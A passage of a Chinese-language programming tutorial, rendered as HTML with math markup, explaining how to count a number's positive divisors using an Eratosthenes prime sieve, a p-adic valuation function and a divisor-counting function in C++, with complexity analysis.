style="height:0.143em;"><span></span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span></span></p><blockquote><p>如果你不知道為什麼，請去問你高一數學老師</p></blockquote><h2 id="%E4%BD%9C%E6%B3%95" tabindex="-1" id="作法">作法</h2><h3 id="%E8%B3%AA%E6%95%B8%E8%A1%A8%EF%BC%9A%E5%9F%83%E6%8B%89%E6%89%98%E6%96%AF%E7%89%B9%E5%B0%BC%E7%AF%A9%E6%B3%95" tabindex="-1" id="質數表：埃拉托斯特尼篩法">質數表：埃拉托斯特尼篩法</h3><p>篩質數一個快速又簡單的方法就是我們國一就學過的<strong>埃拉托斯特尼篩法</strong><br>程式碼如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">define</span> <span class="token macro-name">ll</span> <span class="token expression"><span class="token keyword">long</span> <span class="token keyword">long</span></span></span><span class="token keyword">const</span> <span class="token keyword">int</span> MAX_X <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">bool</span> not_prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">&#123;</span><span class="token number">1</span><span class="token punctuation">,</span><span class="token number">1</span><span class="token punctuation">&#125;</span><span class="token punctuation">;</span><span class="token keyword">int</span> prime<span class="token punctuation">[</span>MAX_X <span class="token operator">+</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> cnt <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token keyword">void</span> <span class="token function">make_prime_list</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> N <span class="token operator">=</span> MAX_X<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">2</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token operator">!</span>not_prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      prime<span class="token punctuation">[</span><span class="token operator">++</span>cnt<span class="token punctuation">]</span> <span class="token operator">=</span> i<span class="token punctuation">;</span>      <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">2</span><span class="token operator">*</span>i<span class="token punctuation">;</span>j<span class="token operator">&lt;=</span>N<span class="token punctuation">;</span>j<span class="token operator">+=</span>i<span class="token punctuation">)</span> not_prime<span class="token punctuation">[</span>j<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span class="token keyword">bool</span> <span class="token function">is_prime</span><span class="token punctuation">(</span><span class="token keyword">int</span> x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span><span class="token keyword">return</span> <span class="token operator">!</span>not_prime<span class="token punctuation">[</span>x<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>其複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>N</mi><mi>log</mi><mo>⁡</mo><mi>log</mi><mo>⁡</mo><mi>N</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(N\log\log N)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.109em;">N</span><span class="mclose">)</span></span></span></span>(好像要用到Mertens’ Theorems，所以我不會證)</p><h3 id="" tabindex="-1" id="nu-p-x"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span></h3><p>計算<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>的函式如下：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token keyword">int</span> <span class="token function">v</span><span class="token punctuation">(</span><span class="token keyword">int</span> p<span class="token punctuation">,</span> ll <span class="token operator">&amp;</span>x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span> <span class="token comment">// v代表\nu</span>  <span class="token keyword">int</span> ans <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">while</span><span class="token punctuation">(</span>x<span class="token operator">%</span>p<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    x <span class="token operator">/=</span> p<span class="token punctuation">;</span>    ans <span class="token operator">+=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>之所以用<code>&amp;x</code>是為了讓這個函式能修改外部參數(也就是直接動態修改傳進去的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>的值)，<code>&amp;x</code>表示傳遞變數<code>x</code>的記憶體地址，而非單純複製其值。<br>單次執行的時間複雜度為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log_p(x))</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1302em;vertical-align:-0.3802em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.0573em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3802em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">))</span></span></span></span></p><h3 id="divnum" tabindex="-1" id="divnum"><code>divnum</code></h3><p>計算正因數個數</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp">ll <span class="token function">divnum</span><span class="token punctuation">(</span>ll x<span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">==</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>  ll ans <span class="token operator">=</span> <span class="token number">1</span><span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>cnt<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">int</span> p <span class="token operator">=</span> prime<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span><span class="token number">1LL</span><span class="token operator">*</span>p<span class="token operator">*</span>p<span class="token operator">></span>x<span class="token punctuation">)</span><span class="token keyword">break</span><span class="token punctuation">;</span>    ans <span class="token operator">*=</span> <span class="token function">v</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>x<span class="token punctuation">)</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">if</span><span class="token punctuation">(</span>x<span class="token operator">></span><span class="token number">1</span><span class="token punctuation">)</span>ans <span class="token operator">*=</span> <span class="token punctuation">(</span><span class="token number">1</span><span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> ans<span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這邊解釋一下<code>if(x&gt;1)ans *= (1+1);</code>這行。迴圈跳出時代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>不再有小於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msqrt><mi>x</mi></msqrt></mrow><annotation encoding="application/x-tex">\sqrt{x}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.04em;vertical-align:-0.2397em;"></span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span></span></span></span>的正因數，這表示要嘛<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，不然就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi></mrow><annotation encoding="application/x-tex">x</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span></span></span></span>本身就是一個質數。所以如果<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>&gt;</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">x&gt;1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5782em;vertical-align:-0.0391em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&gt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，就代表<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>x</mi><mo>=</mo><mtext>某質</mtext><msup><mtext>數</mtext><mn>1</mn></msup></mrow><annotation encoding="application/x-tex">x=某質數^1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord cjk_fallback">某質</span><span class="mord"><span class="mord cjk_fallback">數</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span>，故對正因數個數貢獻為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mo>×</mo><mo stretchy="false">(</mo><mn>1</mn><mo>+</mo><mn>1</mn><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\times(1+1)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">×</span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">1</span><span class="mclose">)</span></span></span></span>。</p><p>複雜度的部分，跑迴圈要時<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>π</mi><mo stretchy="false">(</mo><msqrt><mi>x</mi></msqrt><mo stretchy="false">)</mo><mo stretchy="false">)</mo><mo>=</mo><mi>O</mi><mo stretchy="false">(</mo><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\pi(\sqrt{x}))=O(\frac{\sqrt{x}}{\ln\sqrt{x}})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0503em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord mathnormal" style="margin-right:0.0359em;">π</span><span class="mopen">(</span><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8003em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;"><span class="mord mathnormal">x</span></span></span><span style="top:-2.7603em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2397em;"><span></span></span></span></span></span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.576em;vertical-align:-0.538em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.038em;"><span style="top:-2.6259em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">n</span></span><span class="mspace mtight" style="margin-right:0.1952em;"></span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4739em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.538em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mclose">)</span></span></span></span>，而所有的<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>ν</mi><mi>p</mi></msub><mo stretchy="false">(</mo><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\nu_p(x)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0361em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0637em;">ν</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:-0.0637em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">p</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathnormal">x</span><span class="mclose">)</span></span></span></span>呼叫加總不超過<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mi>x</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(\log_2{x})</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.0278em;">O</span><span class="mopen">(</span><span class="mop"><span class="mop">lo<span style="margin-right:0.0139em;">g</span></span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.207em;"><span style="top:-2.4559em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2441em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span></span><span class="mclose">)</span></span></span></span>，又不難證明</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mi>lim</mi><mo>⁡</mo><mrow><mi>x</mi><mo>→</mo><mi mathvariant="normal">∞</mi></mrow><mfrac><mrow><msub><mrow><mi>log</mi><mo>⁡</mo></mrow><mn>2</mn></msub><mi>x</mi></mrow><mfrac><msqrt><mi>x</mi></msqrt><mrow><mi>ln</mi><mo>⁡</mo><msqrt><mi>x</mi></msqrt></mrow></mfrac></mfrac><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\lim{x\to\infty}{\frac{\log_2{x}}{\frac{\sqrt{x}}{\ln\sqrt{x}}}}=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.8374em;vertical-align:-1.466em;"></span><span class="mop">lim</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">x</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">→</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">∞</span></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3714em;"><span style="top:-2.11em;"><span class="pstrut" style="height:3.038em;"></span><span class="mord"><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.038em;"><span style="top:-2.6259em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mop mtight"><span class="mtight">l</span><span class="mtight">n</span></span><span class="mspace mtight" style="margin-right:0.1952em;"></span><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2341em;"><span></span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.4739em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord sqrt mtight"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8059em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mtight" style="padding-left:0.833em;"><span class="mord mathnormal mtight">x</span></span></span><span style="top:-2.7659em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail mtight" 